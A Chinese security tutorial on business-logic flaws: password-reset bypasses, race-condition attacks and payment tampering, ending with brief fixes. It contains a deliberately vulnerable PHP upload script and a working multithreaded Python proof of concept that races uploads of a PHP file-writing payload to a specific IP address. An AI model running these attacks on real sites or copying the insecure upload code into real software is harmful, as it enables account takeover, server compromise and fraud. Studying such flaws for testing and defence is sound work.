逻辑漏洞

原文链接:http://wyb0.com/posts/logical-loophole/

逻辑漏洞

逻辑漏洞是一种业务逻辑上的设计缺陷,业务流存在问题。
这里说一下密码找回漏洞、多线程条件竞争漏洞和支付漏洞。

密码找回漏洞

1、 测试流程

先尝试正确的密码找回流程,记录不同找回方式的所有数据包
分析数据包,找到有效数据部分
推测数据构造方法
构造数据包验证猜测

2、 分类

* 邮箱找回
    一般是点击邮件中的链接后会转跳到修密码的页面,这就需要分析链接的token构造了,
    可以考虑是时间戳md5、用户名或邮箱和随机字符串md5等,一般是类似如下链接:
    http://domain/findpwd.php?u=xiaoming&token=MTIzQHFxLmNvbQ==
    http://domain/findpwd.php?id=374&token=2ad64bf14c714dbce88c7993663da7da
    当构造相应链接时就可以重置任意用户的密码
* 手机短信找回
    短信找回一般就是4位或6位验证码,暴力猜测吧
* 找回逻辑错误
    若恶意用户A用15123333333找回密码,此时收到验证码但不使用
    此时恶意用户A再用受害者B的手机号找回密码
    用户A在B的验证表单填入自己收到的验证码,发送
    此时跳转的修改密码页面修改的就是用户B的密码
* 直接修改密码
    在修改密码时跳过选择找回方式,直接访问修改密码的页面进行修改
* 本地验证
    随意输入一个验证码,开Burp抓包,forward,抓返回包,返回包里可能有一个flag字段,
    若flag的值为1则跳转到修改密码页面,所以只要修改返回包即可
* 服务端将验证码返回给浏览器
    在点击获取验证码时,服务器会将验证码发送给浏览器,抓包即可
* 验证码直接出现在url中
    当点击获取验证码时发出的请求链接中直接有code
* 密保问题找回
    回答密保问题,有时一些答案就在html源码里

多线程条件竞争漏洞

    多线程条件竞争漏洞是一种服务端的漏洞,服务端是并发处理用户请求的,  
    若并发处理不当或相关操作逻辑设计有缺陷时就会产生一些安全问题。
    如文件上传和一些数据库操作
  • 文件上传
//uploads.php代码如下,仅供测试:
<meta charset='utf-8'>
<?php
    $allowtype = array("gif","png","jpg");
    $size = 10000000;
    $path = "./uploads/";

    $filename = $_FILES['myfile']['name'];

    if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
        if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
            die("error:can not move!");
        }
    } else {
        die("error:not an upload file!");
    }

    echo "file upload success.file path is: ".$path.$newfile."\n<br />";

    if ($_FILES['myfile']['error']>0){
        unlink($path.$newfile);
        die("Upload file error: ");
    }

    $ext = array_pop(explode(".",$_FILES['myfile']['name']));
    if (!in_array($ext,$allowtype)){
        unlink($path.$newfile);
        die("error:upload the file type is not allowed,delete the file!");
    }
?>
  • 简单poc如下:
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import threading
import time

"""
200个线程上传文件aa.php,同时200个线程同时请求aa.php,aa.php中内容为
<?php fputs(fopen("info.php","w"),"<?php phpinfo(); ?>") ?>,
只要aa.php被请求成功就会生成内容为<?php phpinfo(); ?>的php文件info.php
"""

is_exit = False

def create_info():
    global is_exit
    while not is_exit:
        url = "http://123.206.78.20/u/aa.php"
        resp = requests.get(url)

def put_file():
    global is_exit
    file = {'myfile':('aa.php',open('C:/Users/Administrator/Desktop/aa.php'),'application/octet-stream')}
    upload_url = "http://123.206.78.20/u.php"
    while  not is_exit:
        requests.post(upload_url,files=file)

def check_info():
    global is_exit
    print "start threading check info.php:"
    url = "http://123.206.78.20/u/info.php"
    while True:
        print "check info.php..."
        resp = requests.get(url)
        if resp.status_code == 200:
            is_exit = True
            print "create file info.php success."
            break

for x in xrange(1,200):
    t = threading.Thread(target=create_info)
    t.setDaemon(True)
    t.start()
    print "start create_into threading %d" % x

for x in xrange(1,200):
    t = threading.Thread(target=put_file)
    t.setDaemon(True)
    t.start()
    print "start put_file threading %d" % x


t = threading.Thread(target=check_info)
t.setDaemon(True)
t.start()
try:
    while t.isAlive():
        pass
    time.sleep(1)
except KeyboardInterrupt:
    print 'stopped by keyboard'
  • 数据库操作
在数据库进行update、delete等操作时使用多线程请求,可在一次
update时间内完成多次update,和上面的文件上传其实是一个原理

支付漏洞

攻击者通过修改交易金额、交易数量等从而利用漏洞,
如Burp修改交易金额、使交易数量为负数或无限大等。

* 在支付时直接修改数据包中的支付金额,实现小金额购买大金额商品
* 修改购买数量,使之为负数,可购买负数量商品,从而扣除负积分,即增加积分,
  或使购买数量无限大,无限大时则程序可能处理出错,从而实现0金额支付
* 请求重放,在购买成功后重放请求,可实现"一次购买对此收货"

漏洞修复

  • 对于密码重置漏洞,可以使用复杂的token,使之不可被预测
  • 对于密码重置漏洞,校验refer,不使用本地校验等
  • 对于多线程竞争漏洞,文件移动一定在一切判断之后,对于数据库则可以设置锁
  • 对于支付漏洞,主要就是签名了,或者https
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容

  • 4. HackerOne 信号操作 难度:低 URL:hackerone.com/reports/XXXXX 报告...
    布客飞龙阅读 466评论 0 3
  • NAME dnsmasq - A lightweight DHCP and caching DNS server....
    ximitc阅读 2,822评论 0 0
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,637评论 18 139
  • 何处风光不尘埃 失去 总因无意间的忽视 有多久多远 原来搁浅的是一份念想 有些东西落下了 注定回不去 新境遇,或许...
    言舒华阅读 340评论 2 3
  • 北京,对我来说是一个特别陌生的地方,但是我却想奋不顾身的走向它,为什么呢,我也说不清楚,可能那里有我想见的人,可能...
    艾尚萱阅读 466评论 0 0